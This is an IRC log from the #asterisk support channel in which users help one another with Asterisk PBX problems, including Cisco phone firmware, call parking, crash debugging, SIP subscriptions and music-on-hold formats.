| 16:18.44 | *** join/#asterisk ddickenson (~ddickenso@67-198-0-5.static.grandenetworks.net) |
| 16:18.46 | kannan | De_MOn , have you explicitly set the Nat options inside the sip |
| 16:19.16 | kannan | just you can try to set nat-no or yes , inside the phone's settings explicitly |
| 16:19.29 | De_Mon | no, but the phones are internal |
| 16:20.12 | kannan | right , but some model (cannot rmember which i had this issue , when i added nat=no inside the phone's sip lines, it worked |
| 16:20.20 | navaismo | this P0S3-8-12-00.zip |
| 16:20.22 | kannan | in sip.conf i meant |
| 16:21.09 | kannan | brb , i think i have the working files, i will search .. |
| 16:21.50 | *** join/#asterisk moy (~moy@CPE002719f00364-CM0026f3a1701d.cpe.net.cable.rogers.com) |
| 16:23.15 | De_Mon | navaismo that version isn't available on cisco's site any longer |
| 16:23.51 | p3nguin | navaismo: That's a 7960/7940 file, and it won't work on his 7965/7945. |
| 16:23.53 | navaismo | its ooold |
| 16:24.33 | p3nguin | And 8-12 has a callerid bug that I'm not a fan of, so I would suggest using 8-11 anyway. |
| 16:24.54 | De_Mon | the three models we've got are 7965, 7945, 7911 |
| 16:25.37 | p3nguin | 7965 and 7945 are the "same," so you only need two different images. |
| 16:26.09 | p3nguin | What firmware versions do you currently have for the phones? |
| 16:26.14 | De_Mon | ah |
| 16:26.43 | De_Mon | 8.3.4 or 8.4.3 will have to double check that |
| 16:27.46 | p3nguin | I have an 8-5-3 file, so maybe you should consider getting the newer firmware. |
| 16:28.12 | p3nguin | If you can't find it in Cisco's site, I can give you the file name for you to find it somewhere else, if you know what I mean. |
| 16:28.24 | De_Mon | we tried 9.2.1 which is the latest too |
| 16:29.14 | De_Mon | looking |
| 16:29.22 | p3nguin | I think _corey_ probably has some experience with the 7965/7945 and asterisk. Maybe he'll be available soon. |
| 16:29.33 | De_Mon | can you send me the config your using? |
| 16:29.38 | _Corey_ | I'm here, just dealing with an outage this morning |
| 16:30.00 | De_Mon | <3 |
| 16:30.01 | p3nguin | I'm not sure what config you're asking for. |
| 16:30.13 | De_Mon | the phone config for 8-5-3 |
| 16:30.18 | _Corey_ | I'll need to check on the 45s, I know we've used the 41s/61s/71s |
| 16:30.28 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 16:30.46 | p3nguin | I don't have a 7965/7945, so I do not have any configs for them. I only have the firmware file for them. |
| 16:31.04 | BlackBishop | wonders why his ht503 has a bootloader ver 1.0.0.7 after upgrade when others report 1.0.0.9 :| |
| 16:31.23 | *** join/#asterisk ferdna (~ferdna@cpe-67-10-220-35.elp.res.rr.com) |
| 16:31.52 | De_Mon | any particular reason you have the firmware? did someone say it worked or something? =) |
| 16:32.15 | p3nguin | I just have it. Not sure why you are concerned about that. |
| 16:32.47 | De_Mon | because we suspect there are bugs in these firmware that make them completely unsable |
| 16:32.55 | De_Mon | cuz we can't get them to work, or find anyone that has |
| 16:33.09 | De_Mon | unusable |
| 16:34.49 | De_Mon | If we don't get anywhere today my next approach is to email asterisk mailing list and see if we can find anyone there. Just knowing that someone has gotten it to work would make me feel a lot better |
| 16:35.17 | De_Mon | and by work I mean knowing which firmware and phone they got it working on |
| 16:35.56 | *** join/#asterisk mnicholson (~mnicholso@nat/digium/x-kmdqqqzsjwekbzlw) |
| 16:35.56 | *** mode/#asterisk [+o mnicholson] by ChanServ |
| 16:36.31 | p3nguin | I'm sure if I had a 7965/7945, I'd get it to work. |
| 16:37.25 | De_Mon | we might just send you a phone and even some cash if you're interested |
| 16:37.44 | navaismo | mm but the error show wrong password |
| 16:38.28 | p3nguin | I'd probably give it a shot if I had a phone. |
| 16:38.44 | De_Mon | we can send you a phone |
| 16:40.06 | De_Mon | can I pm you my email address? |
| 16:40.19 | p3nguin | yes |
| 16:40.25 | Nugget | I'm running almost all 45/65s here |
| 16:40.31 | p3nguin | with SIP? |
| 16:40.36 | Nugget | correct |
| 16:40.51 | p3nguin | Do you know which SIP version? |
| 16:40.52 | Nugget | asterisk 1.6 |
| 16:41.27 | *** join/#asterisk TimeRider (~steve@188-220-33-123.zone11.bethere.co.uk) |
| 16:41.31 | Nugget | it's been a few months since I checked for updates. currently running SIP45.9-2-1S |
| 16:41.57 | De_Mon | sounds like we have config problems in that case |
| 16:42.16 | Nugget | I'm running sip/tcp patch to do BLF, but it has run fine without that. |
| 16:42.41 | De_Mon | Nugget can you send me the xml file for the 9.2.1s? |
| 16:42.58 | Nugget | sure, msg me your email |
| 16:44.25 | De_Mon | sent |
| 16:47.21 | Nugget | don't see a /msg |
| 16:47.32 | *** join/#asterisk singler (~singler@78-60-139-121.static.zebra.lt) |
| 16:47.42 | ChannelZ | I see your underpants! |
| 16:52.27 | luke-jr | What does it mean if extensions "got tired of being parked" immediately? |
| 16:52.46 | *** join/#asterisk Praise (~Fat@unaffiliated/praise) |
| 16:54.26 | ChannelZ | hmmm |
| 16:55.37 | ChannelZ | Lot full? Haven't seen that one. |
| 16:56.13 | ChannelZ | or your parking time is ridiculously low |
| 16:56.32 | luke-jr | neither :/ |
| 16:56.42 | luke-jr | all parking fails this way |
| 16:58.34 | ChannelZ | what version? I haven't actually used parking in awhile |
| 16:59.17 | p3nguin | nugget: He /noticed me, so maybe it's in your status window instead of a msg window. |
| 17:00.03 | ChannelZ | Interesting, it's acting crazy here too. Hang on let me try again |
| 17:00.44 | De_Mon | yeah |
| 17:00.50 | *** join/#asterisk mhaddog (~mhaddog@z65-50-116-231.ips.direcpath.com) |
| 17:00.59 | De_Mon | there's a msg for you now too |
| 17:01.38 | De_Mon | if we get this working today you gus are our heros |
| 17:01.38 | ChannelZ | nevermind parking worked here, I just screwed up the transfer. Are you using feature code parking or transferring to 700 (or whatever) |
| 17:02.03 | luke-jr | ChannelZ: 1.6 |
| 17:02.08 | De_Mon | this is a digium box so using skinny or sccp would void the warranty i'm told |
| 17:02.15 | De_Mon | err switchvox i mean |
| 17:02.44 | De_Mon | (which is why i decliend participating in this project) bloody vendor lockin bs |
| 17:03.06 | *** join/#asterisk donnib (~donnib@0x555281d0.adsl.cybercity.dk) |
| 17:03.07 | ChannelZ | well they can only support what they know |
| 17:03.53 | jaytee | if I want to upgrade from one asterisk-1.6.2.16.1 to 1.6.2.18 do I have to remove all the binaries or will running make install just overwrite what's there. I'm thinking from past experience it does but just wanted to get verification. |
| 17:03.55 | De_Mon | I prefer best effort support and letting me do whatever I want ;) |
| 17:06.12 | ChannelZ | luke-jr: re: how are you parking |
| 17:07.38 | luke-jr | ChannelZ: exten => s,n,ParkAndAnnounce(silence/1,150,Local/s@ignore_park_announcement,frompark,s,1) |
| 17:08.01 | luke-jr | originally, the silence/1 and Local/… were blank, but those threw warnings so I wanted to clean them up first |
| 17:09.49 | ChannelZ | So this is like an automatic park from someone dialing in? |
| 17:11.52 | luke-jr | I think the receptionist transfers them to the extension, which calls the macro containing said line |
| 17:12.59 | ChannelZ | so s@ignore_park_announcement does something interesting in the dialplan I assume |
| 17:14.02 | p3nguin | Gah, some people are so weird. Someone in India called me to ask my "opinion" about some questions. The first question was about products I use. The second was about sales of the products I indicated I use. |
| 17:14.34 | p3nguin | The first I was okay with. When they want to know my sales stats, that's no longer their concern, and it certainly is not an opinion. |
| 17:14.43 | luke-jr | p3nguin: that sounds like a scammer |
| 17:14.57 | luke-jr | ChannelZ: it answers and hangs up |
| 17:14.58 | p3nguin | And they made me pay for the call. |
| 17:16.34 | p3nguin | After I told two guys that it wasn't a question where I'm giving my opinion, and he kept repeating the question, I finally had to tell him I was hanging up. |
| 17:17.46 | ChannelZ | You should have told him you make 150 million a day |
| 17:18.28 | ChannelZ | luke-jr: hmm. Well I just tried it here and it's working, albeit under 1.8.5 |
| 17:18.40 | luke-jr | :| |
| 17:18.52 | ChannelZ | at least as a dial-in |
| 17:19.27 | p3nguin | I use parking from features, and it works just fine. |
| 17:20.08 | p3nguin | I just have to press the park key on the phone to park, and dial the extension that the parking attendant gives me to pick up the call again. |
| 17:20.39 | *** part/#asterisk BlackBishop (dexter@ipv6.d3xt3r01.tk) |
| 17:20.53 | ChannelZ | luke-jr: without hosing up my configuration I can't easily test to see if misconfiguring the parking lots results in the behavior you describe |
| 17:21.05 | ChannelZ | Is this something that was working and recently stopped? |
| 17:21.43 | luke-jr | ChannelZ: yes, we had an Asterisk Biz Edition 1.6.2 hosed, and are replacing it with a normal Asterisk 1.6.2.9 |
| 17:22.06 | luke-jr | I did notice all the call parking stuff in features.conf is commented out |
| 17:25.17 | ChannelZ | I think you need parkpos and the context set at least, and then include => parkedcalls (or whatever context) in your dialplan unless you specifically Park() and ParkedCall() yourself |
| 17:25.21 | ChannelZ | parking lots are screwy |
| 17:26.53 | luke-jr | it is doing ParkedCall itself |
| 17:27.07 | luke-jr | I wonder if Park() would be more appropriate than the ParkAndAnnounce |
| 17:29.33 | p3nguin | Why can't you just use the parking from features? |
| 17:30.25 | luke-jr | dunno, I didn't write this |
| 17:30.38 | Kobaz | because parking from features is limited and not useful in many cases |
| 17:30.56 | Kobaz | i always use ParkAndAnnounce, usually skipping the announcement |
| 17:31.13 | luke-jr | Kobaz: skipping it how? |
| 17:31.55 | Kobaz | use something like console/dsp as the announcement channel |
| 17:32.20 | Kobaz | and a blank announcement file |
| 17:32.25 | *** join/#asterisk TimeRider (~steve@188-220-33-123.zone11.bethere.co.uk) |
| 17:32.25 | *** join/#asterisk kaldemar (~kaldemar@unaffiliated/kaldemar) |
| 17:33.18 | luke-jr | Kobaz: any reason not to use Park()? |
| 17:33.26 | Kobaz | yeah, if you want a specific lot |
| 17:33.36 | luke-jr | …? |
| 17:34.00 | Kobaz | ie: park in spot 1000 |
| 17:34.21 | luke-jr | how is that any different with AndAnnounce? |
| 17:34.42 | Kobaz | you can specify the spot with ParkAndAnnounce |
| 17:35.12 | Kobaz | Set(PARKINGEXTEN=xyz) |
| 17:35.20 | luke-jr | same with Park() according to the docs |
| 17:35.55 | Kobaz | hmm, yeah just noticed |
| 17:35.56 | *** join/#asterisk kaushal (~kaushal@14.97.121.81) |
| 17:35.58 | Kobaz | it didn't used to |
| 17:36.08 | kaushal | paulc: hi |
| 17:36.15 | ChannelZ | luke-jr: does 'features show' from the console show your default lot? |
| 17:36.17 | Kobaz | I set it up that way for a reason a while ago |
| 17:37.39 | luke-jr | ChannelZ: no |
| 17:38.59 | *** join/#asterisk tyrrexrrg (~roger@190.147.143.151) |
| 17:39.33 | ChannelZ | could be a problem |
| 17:40.15 | *** join/#asterisk fisted (~fisted@unaffiliated/fisted) |
| 17:42.26 | kaushal | paulc: you around ? |
| 17:43.04 | *** join/#asterisk i3inary (~i3inary@adsl-71-136-231-186.dsl.sndg02.pacbell.net) |
| 17:43.08 | ChannelZ | although even with everything commented out in my features.conf I still get the default lot shown |
| 17:43.52 | kaushal | can someone please guide me using callfiles to initiate outbound campaign for 240 phone numbers concurrently ? |
| 17:44.09 | ChannelZ | deja-vu |
| 17:44.53 | kaushal | I have a single call file. so do i need to create 240 call files and move all to /var/spool/asterisk/outgoing/ |
| 17:45.02 | kaushal | not sure i understand that |
| 17:45.05 | luke-jr | if I do Park(), I get: == Parked SIP/366-00000341 on 4402 (lot default). Will timeout back to extension [frompark] s, 1 in 0 seconds |
| 17:47.26 | ChannelZ | crazy |
| 17:48.04 | *** join/#asterisk garymc (~chatzilla@host109-155-155-5.range109-155.btcentralplus.com) |
| 17:48.16 | ChannelZ | and there is no lot defined in the 4400s in your features or anything? |
| 17:51.10 | *** join/#asterisk vinhdizzo (~vinh@pool-173-60-112-55.lsanca.fios.verizon.net) |
| 17:52.02 | luke-jr | there never was, even when it worked |
| 17:52.08 | luke-jr | adding it now didn't help |
| 17:53.23 | ChannelZ | Just wondering where it's even getting the number from |
| 17:53.45 | paulc | kaushal: I am now |
| 17:53.56 | luke-jr | PARKINGEXTEN |
| 17:54.12 | ChannelZ | Oh. |
| 17:54.38 | ChannelZ | Well at least it's coming from somewhere then :) Just dunno why it's defaulting to 0 second ringback, the default seems to be 45 |
| 17:56.04 | ChannelZ | what version did you say you were running? 1.6.what? |
| 17:56.47 | luke-jr | 1.6.2.9 |
| 17:58.33 | ChannelZ | I see a bug that might be what you're getting, but trying to figure out what version it got fixed in |
| 18:00.28 | ChannelZ | hmm well it was closed in January 2010 and 1.6.2.9 came out in June so I'd assume... |
| 18:05.47 | ChannelZ | What timeout did you use for Park() ? It seems to honor what I give it |
| 18:06.46 | *** join/#asterisk thansen (~thansen@c-67-177-32-87.hsd1.ut.comcast.net) |
| 18:06.46 | *** join/#asterisk leroybuckingham (43350083@gateway/web/freenode/ip.67.53.0.131) |
| 18:08.15 | *** join/#asterisk penguin (~chatzilla@cpe-74-77-221-5.buffalo.res.rr.com) |
| 18:09.01 | luke-jr | ChannelZ: 150 |
| 18:09.20 | leroybuckingham | Hey guys, is there a way I can disable music on hold for blindxfer ? |
| 18:09.34 | ChannelZ | hmm. Dunno what to say other than 'this feels like a bug' and to upgrade. |
| 18:09.43 | luke-jr | it's the latest version in Debian stable ;) |
| 18:10.05 | ChannelZ | packages... feh |
| 18:10.33 | ChannelZ | 1.6.2 is up at .20 or something |
| 18:11.52 | *** join/#asterisk drift- (ae3001a4@gateway/web/freenode/ip.174.48.1.164) |
| 18:12.40 | *** join/#asterisk donnib (~donnib@0x555281d0.adsl.cybercity.dk) |
| 18:13.14 | ChannelZ | leroybuckingham: You could make a 'silent' MOH context set to a dir with no files in it, but it's a little hard to do that just for blind xfers and not other functions |
| 18:13.22 | pabelanger | ~packages |
| 18:13.51 | pabelanger | luke-jr: FYI: https://wiki.asterisk.org/wiki/display/AST/Asterisk+Packages |
| 18:13.54 | ChannelZ | kicks infobot |
| 18:14.16 | pabelanger | infobot: help packages |
| 18:14.18 | luke-jr | pabelanger: those are broken' |
| 18:14.40 | pabelanger | luke-jr: how so? |
| 18:14.51 | ChannelZ | use the source, luke (AHAH!) |
| 18:14.54 | luke-jr | pabelanger: dunno, even Digium support guy couldn't get them to work, so he ended up building from source |
| 18:15.01 | *** join/#asterisk greenwolf (~chatzilla@cpe-74-77-221-5.buffalo.res.rr.com) |
| 18:15.14 | luke-jr | IIRC it was specific to DAHDI stuff |
| 18:15.35 | leroybuckingham | Maybe I'm going about this the wrong way. I have somebody who makes sales calls responding to leads, and gets voicemails a good portion of the time--so they're using blindxfer to transfer the callee to an announcement. It's a speeddial on the phone but it's still not fast enough to avoid a very brief music on hold. |
| 18:15.41 | pabelanger | luke-jr: ticket number? Who were you talking too? |
| 18:15.49 | pabelanger | I'd be interested in knowing the problem |
| 18:16.10 | pabelanger | but if it is DAHDI, we don't package that and just use the version from Debian / Ubuntu |
| 18:16.21 | thansen | is there anything useful here to figure out what caused a crash? http://paste.pocoo.org/show/474805/ |
| 18:16.30 | luke-jr | pabelanger: not sure the ticket, but it led to RMA-10005779 (which didn't help either) |
| 18:16.33 | thansen | or do I need to recompile |
| 18:17.08 | ChannelZ | leroybuckingham: as I said you can make a silent MOH contet and set the device/channel to use it, but that will also break if they intentionally want to put someone on hold with the hold button of their phone for isntance |
| 18:17.10 | luke-jr | pabelanger: the problem was/is, that the system randomly reboots after some NMI errors if DAHDI is loaded |
| 18:17.17 | pabelanger | thansen: ~backtrace |
| 18:17.19 | pabelanger | err |
| 18:17.21 | pabelanger | ~backtrace |
| 18:17.21 | infobot | backtrace is a debugging tool that is useful when trying to track down asterisk crashes (use -g with asterisk to generate a core, then read doc/backtrace.txt). See also https://wiki.asterisk.org/wiki/display/AST/Getting+a+Backtrace |
| 18:17.31 | pabelanger | thansen: ^ follow that |
| 18:17.32 | luke-jr | pabelanger: we finally found a BIOS option to disable reboots on NMI, which seems to allow the problem to be ignored |
| 18:18.00 | pabelanger | luke-jr: okay, but that does not mean the packages are broken |
| 18:18.02 | thansen | pabelanger: I think I did all that |
| 18:18.06 | luke-jr | (strangely enough, the problem did not exist at all with the older OS) |
| 18:18.14 | pabelanger | thansen: you are missing the debug symbols for Asterisk |
| 18:18.24 | thansen | ok |
| 18:18.25 | luke-jr | pabelanger: sure, but the packages resulted in not having DAHDI module at all or something like that |
| 18:18.57 | pabelanger | luke-jr: $ sudo apt-get install asterisk-dahdi |
| 18:19.06 | pabelanger | thansen: but it looks like something is wrong in libsqlite |
| 18:19.22 | pabelanger | thansen: what version of Asterisk is this? |
| 18:19.34 | thansen | I've had chronic 'random' crashes for quite some time :( |
| 18:19.52 | thansen | 1.8.4.2 |
| 18:20.59 | pabelanger | thansen: does sqlite have an ODBC connector? If so you can try using cdr_odbc |
| 18:21.18 | anonymouz666 | thansen: in what part? |
| 18:22.04 | leifmadsen | ya I'd suggest using ODBC stuff over any of the "native" modules |
| 18:22.09 | thansen | pabelanger: lemme do some research to see exactly what the sqlite setup is and get back with you in a minute...thanks so much for the help |
| 18:22.48 | thansen | anonymouz666: I'm not really sure, I've always just had a silly little monitor script to restart the damn thing but it's time I figure out what's really going on |
| 18:23.21 | anonymouz666 | thansen: something like gdb -se "asterisk" -c <corefile> |
| 18:23.23 | anonymouz666 | then |
| 18:23.25 | thansen | I'll update to 1.8.6.0 |
| 18:23.27 | anonymouz666 | 'bt' |
| 18:23.40 | thansen | with debugging sybols |
| 18:23.51 | anonymouz666 | and you'll see in what part it crashes |
| 18:24.09 | thansen | well, that's what I pasted above I believe, but I don't have debug stuff |
| 18:24.28 | thansen | symbols that is |
| 18:24.37 | thansen | stuff isn't really descriptive :) |
| 18:24.51 | anonymouz666 | let me see |
| 18:25.25 | anonymouz666 | ahhhh |
| 18:25.44 | anonymouz666 | that's why people are talking about ODBC and SQLite |
| 18:25.48 | anonymouz666 | :) |
| 18:25.50 | thansen | :) |
| 18:26.43 | anonymouz666 | I don't use SQLite, but you can try to change that |
| 18:27.30 | thansen | you using mysql or something |
| 18:27.42 | anonymouz666 | ODBC always |
| 18:27.51 | anonymouz666 | ODBC with MYSQL driver |
| 18:28.08 | thansen | does some relative decent traffic, but phone is auxiliary to my business |
| 18:28.26 | thansen | so I don't do much with cdr anyhow |
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| 18:29.03 | thansen | maybe it's time to kick it up though and start pumping cdr data into mysql |
| 18:33.26 | thansen | reinstalls with debug and odbc support |
| 18:36.23 | pabelanger | thansen: if you have time, check out recent commits to Asterisk trunk. There is some work with sqlite3 going on, not sure if that affects what you are having problems with |
| 18:37.08 | thansen | well, if everyone suggests going odbc -> sqlite I think I'll just configure that and see if I have the issue again |
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| 18:45.05 | thansen | pabelanger: it looks like it's using the old sqlite2 stuff, should I just try native sqlite3 suport before moving to odbc into sqlite (if that's even an option) |
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| 18:55.23 | thansen | it appears cdr data is getting written to 3 places for me..cdr.db, master.db, and Master.csv |
| 18:55.51 | Naikrovek | are there any windows sip clients that are generally recommended |
| 18:55.54 | thansen | how can I disable cdr.db (sqlite2)? I don't see in my configs where I have it explicitly enabled |
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| 19:03.28 | ChannelZ | Naikrovek: I like Zoiper (classic) |
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| 19:04.45 | Naikrovek | ChannelZ: thanks. |
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| 19:14.14 | pabelanger | thansen: modules.conf, noload => cdr_sqlite.so |
| 19:14.28 | pabelanger | Umm, wait |
| 19:14.46 | pabelanger | Ya, that looks right |
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| 19:17.22 | thansen | pabelanger: ok, thanks..I just rebuilt it again without support for that completely :) |
| 19:18.00 | pabelanger | That will work |
| 19:18.52 | thansen | adds it for good measure anyhow in case I ever forget to remove it in a future build |
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| 19:25.53 | thansen | pabelanger, anonymouz666: ok, I've updated to the latest with debugging symbols and disabled sqlite cdr logging. I'll keep an eye on it for the next couple week and hope that fixes the issue :) |
| 19:26.00 | thansen | thanks both for the help! |
| 19:26.50 | anonymouz666 | I hope it fixes for you |
| 19:26.57 | thansen | out of curiosity, will debugging symbols affect performance much? |
| 19:27.05 | anonymouz666 | debug_threads |
| 19:27.25 | anonymouz666 | in my case, for example, I can't enable that for 200 active calls |
| 19:28.24 | thansen | ok, my volume is usually not much more than 10 active calls with maybe 25 channels |
| 19:29.02 | anonymouz666 | at this volume, lots of problems does not occur :-) |
| 19:29.30 | thansen | yeah, didn't think I'd have an issue |
| 19:29.46 | thansen | but the server is doing other stuff aside from just asterisk |
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| 19:39.56 | Dovid | j #asterisk-dev |
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| 19:42.22 | Dovid | anyone know how hard it would be to create patch for asterisk that will re-invite a call with a specific codec. For instance say a call is using G729 and I want to re-invite if I want the call to use G711U |
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| 20:29.45 | miamiseb | Hi all. I'm having an odd problem with some cisco spa525g's trying to subscribe to me like every 2 seconds. Relevant debug is at http://pastebin.com/jmjjs9ZD |
| 20:30.15 | rotten777 | is it your cisco |
| 20:30.28 | miamiseb | Additionally, it seems that one of my peers is not being matched, although he is coming in from the IP specified in sip.conf. I've also tried insecure=port,invite but no go. |
| 20:30.37 | miamiseb | It's the customers equipment, but I can configure it. |
| 20:30.50 | rotten777 | 404 means it is trying to register at the wrong user |
| 20:30.53 | rotten777 | defaultuser=? |
| 20:32.09 | miamiseb | no defaultuser under the sip entry. |
| 20:32.17 | miamiseb | should I add one that leads to the extension name? |
| 20:32.43 | rotten777 | yes |
| 20:32.48 | rotten777 | it has to be registering to a peer configured |
| 20:32.54 | rotten777 | if it doesn't match, you get 404's ;) |
| 20:34.21 | miamiseb | it is registering to a peer configured, registration is successful, it's only during the subscribe that I get 404's no invite's. |
| 20:34.26 | miamiseb | defaultuser didn't help. |
| 20:36.33 | rotten777 | sip show peers |
| 20:36.34 | rotten777 | it shows up? |
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| 20:39.34 | miamiseb | Yup and I can deliver and receive calls from it. The phone is working perfectly, the only problem is that amount of traffic it's sending me. It sends the subscribe, I give it 401 and ask it to auth with a nonce, it auths with the nonce successfully but the extension it is trying to subscribe to is 404 not found |
| 20:40.13 | rotten777 | wow... hmm |
| 20:40.16 | rotten777 | let me read the pastebin more |
| 20:40.17 | miamiseb | if I go in and add the extension it's looking for 204-XXX instead of 204 into the subscribecontext, instead I send a 489 bad event in response to the subscribe, but I'm in the same boat. |
| 20:40.29 | miamiseb | I didn't include much of it, but I can include a full transaction. |
| 20:40.56 | rotten777 | it is appending the -xxx |
| 20:40.57 | rotten777 | ? |
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| 20:42.44 | miamiseb | http://pastebin.com/Ne9mH6hT |
| 20:42.58 | miamiseb | no, that's the phone's userid 201-<something> |
| 20:43.34 | miamiseb | the username within sip.conf |
| 20:44.33 | rotten777 | Found peer '201-TenantName' for '201-TenantName' from xxx.xxx.xxx.xxx:1027 |
| 20:44.33 | rotten777 | Looking for 201-TenantName in local-extensions-TenantName (domain xxxxx.com) |
| 20:44.40 | miamiseb | nods. |
| 20:44.59 | miamiseb | and 201-TenantName is NOT in local-extensions-TenantName, but if I add it, then instead of 404 I get 489 bad event. |
| 20:45.32 | rotten777 | it finds the entry but not in the domain.. and when you add it to the domain it rejects it anyway |
| 20:45.38 | rotten777 | sound about right? |
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| 20:47.55 | rotten777 | miamiseb do you have a domain in your sip.conf? |
| 20:48.28 | miamiseb | It find the peer but not the exten, and if I add the exten to the context in which it is looking for it, then it still rejects it but with a different error code (489) |
| 20:48.53 | miamiseb | no |
| 20:49.37 | rotten777 | it is really beyond me... which version are you using of asterisk? |
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| 20:52.53 | miamiseb | pulls out some of his hair. |
| 20:53.10 | miamiseb | 1.6.2.14 |
| 20:54.16 | rotten777 | whats the extension context contents? |
| 20:56.07 | p3nguin | miamiseb: What do you mean by "extension it is trying to subscribe to"? That doesn't make sense to me. |
| 20:56.47 | miamiseb | Usually you subscribe to an extension so you either get notify'd when state changes or if you subscribe to yourself, you get MWI alerts when a new VM comes in. |
| 20:56.55 | miamiseb | At least that is my understanding. |
| 20:57.31 | miamiseb | rotten777: I'm not sure I understand, you want the contents of the context the extension has or the subscribecontext it has? |
| 20:57.44 | p3nguin | If you're subscribing to the state of another phone, you're going to be using hints. Is that what you're talking about? |
| 20:57.55 | hardwire | teliax just went POOP for me |
| 20:58.02 | hardwire | checking to see if anybody else had POOP |
| 20:58.08 | hardwire | I can't even reach their sales/support lines |
| 20:58.10 | hardwire | via cell |
| 20:58.15 | miamiseb | yes, but it's actually only subscribing to itself, I don't care about blf. |
| 20:58.42 | p3nguin | Why would you subscribe to yourself? What sense does that make? |
| 20:58.53 | miamiseb | MWI for new VMs |
| 20:59.12 | p3nguin | Where/how are you configuring these subscriptions? |
| 20:59.26 | p3nguin | It sounds like you're doing something the wrong way, but I'm not sure yet. |
| 20:59.47 | miamiseb | I'm not, I wish I was, I'd rather just take and disable that damn thing. The cisco 525g is the one that is trying to subscribe to whatever it has setup in line 1. |
| 21:00.28 | *** join/#asterisk ChannelZ (channelz@burner.com) |
| 21:01.28 | p3nguin | I'm not so sure any type of configuration is necessary for MWI. If you have defined mailbox in the peer entry, phones usually check unless you have some setting to disable it. |
| 21:01.35 | frem | I'm using the latest version of AsteriskNOW, and music on hold isn't working. It'll only play the default ulaw files, not an MP3, nor the wav i made by putting the MP3 through audacity, nor the ulaw file i made by putting the wav through Sox. |
| 21:03.26 | *** join/#asterisk fisted (~fisted@unaffiliated/fisted) |
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| 21:05.07 | miamiseb | Generally, you are right, they do it all on their own. In this case however, the 'auto-configuration' of MWI is causing the phone to try to register to a extension that doesn't exist in the subscribe context, if I add a hint to the proper extension in the subscribecontext, instead if still fails with a 489 bad event. |
| 21:06.15 | p3nguin | hints are not related to MWI. |
| 21:06.27 | p3nguin | And you don't "register to a extension," either. |
| 21:06.49 | ChannelZ | But you do "register as a sex offender" |
| 21:06.56 | p3nguin | I don't. |
| 21:07.09 | p3nguin | And I'm not supposed to, either. |
| 21:08.50 | p3nguin | I think I'd be deleting the references to subscribe context. It doesn't seem necessary. |
| 21:10.15 | miamiseb | I can do that, but it won't stop the phone from sending me an asinine amount of subscribe packets asking for it anyway. Since I can't seem to stop it on the phone, I just want asterisk to say. FINE! your subscribed, now leave me alone until your "subscription expires" timer runs out. |
| 21:10.31 | miamiseb | s/register to/subscribe to |
| 21:10.43 | ChannelZ | frem: the wavs need to be 8khz 16bit. ulaw 8khz 8-bit. Make sure you reloaded MOH if you added them while * was running, it only scans the directory when the module loads |
| 21:11.12 | ChannelZ | ('moh show files' will reveal what it knowsl) |
| 21:11.43 | ChannelZ | or knows, even. |
| 21:11.56 | p3nguin | I'd rather just set allowsubscriptions to no, since you indicated you're not trying to do BLF anyway. |
| 21:12.14 | p3nguin | s/allowsubscriptions/allowsubscribe/ |
| 21:12.35 | p3nguin | It's not for MWI. |
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| 21:14.47 | p3nguin | I'd turn that off and disable subscriptions to other extensions in every phone's config. |
| 21:15.34 | p3nguin | Of course disabling it properly in the phones would eliminate the need to disable it in asterisk. |
| 21:15.46 | miamiseb | nice, now I return a 403 forbidden instead of a 404, but the phone still keeps trying |
| 21:16.44 | p3nguin | Asterisk doesn't just do it all by itself -- the phones are initiating it. |
| 21:18.59 | miamiseb | I know they are, but the phones would stop is asterisk just said okay to them. I'm kind of missing kamailio and being able to just send it a 200 OK and tell it to shut up ;) |
| 21:19.48 | p3nguin | That's where you differ from most people... they'd rather fix the problem, where you're asking to accept it silently. |
| 21:20.03 | p3nguin | Just fix the phones. Done. |
| 21:20.05 | miamiseb | Yeah, I'm a lazy programmer, what can I say. |
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| 21:27.01 | frem | thanks ChannelZ; got it |
| 21:27.17 | ChannelZ | woot! |
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| 21:37.12 | *** join/#asterisk itguru (~itguru@unaffiliated/itguru) |
| 21:37.29 | itguru | I have two extensions connection to my voip instance, and when I try to dial between them, I get the error message, "All circuits are busy now" ?? huh? |
| 21:38.25 | ChannelZ | would need to see more output then that. |
| 21:38.41 | leifmadsen | itguru: well look at your console and see what it is doing -- the other end could be generating that, or your end could be generating that if you programmed the dialplan to do that |
| 21:38.48 | leifmadsen | as ChannelZ said, not enough info |
| 21:42.38 | itguru | leifmadsen: I'm trying to call another internal extension .. but I'll fire up my console |
| 21:44.32 | leifmadsen | ok that doesn't help :) |
| 21:44.38 | leifmadsen | the console output would help though |
| 21:44.38 | itguru | I'm sorry, this is my first asterisk instance, and I didn't install it, and it's broken, so I'm flying blind here ... but I'm going to try |
| 21:47.27 | p3nguin | All circuits are busy? Isn't that like a FreePBX thing? |
| 21:48.00 | ChannelZ | itguru: core set verbose 3 |
| 21:48.22 | itguru | ChannelZ: I set it to 7, and I got a bucket load of text! |
| 21:48.37 | ChannelZ | Probably is FreePBX then |
| 21:49.16 | itguru | It's a trixbox install - is that diffrent from asterisk? |
| 21:49.22 | p3nguin | Yes. |
| 21:49.33 | *** join/#asterisk mindCrime_ (~chatzilla@adsl-074-239-175-125.sip.rmo.bellsouth.net) |
| 21:49.43 | itguru | Oh - I thought it was just a web interface designed to go on top of asterisk |
| 21:50.08 | itguru | says darn ... |
| 21:50.15 | p3nguin | It may use Asterisks underneath, but because it's not just asterisk, it's a bother. |
| 21:50.23 | miamiseb | It is, but it is convoluted enough where many people won't support it. |
| 21:50.25 | p3nguin | Asterisks? |
| 21:50.34 | ChannelZ | It's like 'Maths' |
| 21:50.55 | p3nguin | and Internets |
| 21:51.16 | itguru | I guess I'll get back to google. ..... |
| 21:51.44 | miamiseb | itguru: just pastebin the output from the console when you call from one phone to the other. |
| 21:51.50 | p3nguin | I'm still waiting to see some useful output with core verbose set to 3. |
| 21:51.50 | miamiseb | and core set verbose 3 is plenty. |
| 21:52.29 | ChannelZ | I have pretty much only ever run at 3 and it's enough to see what's going on |
| 21:52.50 | p3nguin | <PROTECTED> |
| 21:52.53 | p3nguin | That's a new one. |
| 21:53.07 | miamiseb | Talking to a web server? LOL |
| 21:53.27 | *** part/#asterisk mjordan (~mjordan@nat/digium/x-eknenhabzhuvpeiq) |
| 21:54.12 | titter | lol I have done that before (silly AD DNS) |
| 21:54.51 | itguru | miamiseb: http://pastebin.com/cdmWy52K - That's the output of a call from 153, to 154 |
| 21:55.04 | miamiseb | it's port 5060 and presumably UDP, so prolly not a web server, but I've only seen that error when talking to web services. |
